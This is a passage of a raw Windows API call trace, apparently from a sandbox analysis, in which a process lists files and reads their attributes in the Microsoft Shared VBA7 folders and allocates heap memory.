fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0062.960] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0062.962] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.962] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0062.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.974] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0062.975] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0062.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa04d30 [0062.975] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa04d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa04d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0062.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04d30) returned 1 [0062.975] NtClose (Handle=0x168) returned 0x0 [0062.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0062.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0062.975] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0062.975] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.975] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0062.975] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0062.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0062.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0062.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0062.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0062.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0062.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0062.975] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0062.975] GetLastError () returned 0x12 [0062.976] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0062.976] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0062.976] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.976] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0062.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0062.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0062.976] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0062.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa04d30 [0062.976] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa04d30, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xa04d30, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0062.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04d30) returned 1 [0062.976] NtClose (Handle=0x168) returned 0x0 [0062.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0062.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0062.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed720 [0062.976] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0062.981] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.981] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa04d48 [0062.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04d48) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa04d48 [0062.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04d48) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa04d48 [0062.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0062.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03d60 [0062.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa022f8 [0062.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04d48) returned 1 [0062.981] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0062.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03d80 [0062.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa02c40 [0062.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.982] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0062.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.982] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0062.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03da0 [0062.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa02d48 [0062.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.983] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03dc0 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa02e50 [0062.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.983] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03de0 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa02f58 [0062.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.983] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03e00 [0062.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa03060 [0062.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.984] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0062.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0062.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03e20 [0062.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa03168 [0062.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0062.984] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0062.984] GetLastError () returned 0x12 [0062.984] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0062.984] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0062.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0062.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0062.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0062.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0062.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0062.984] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", 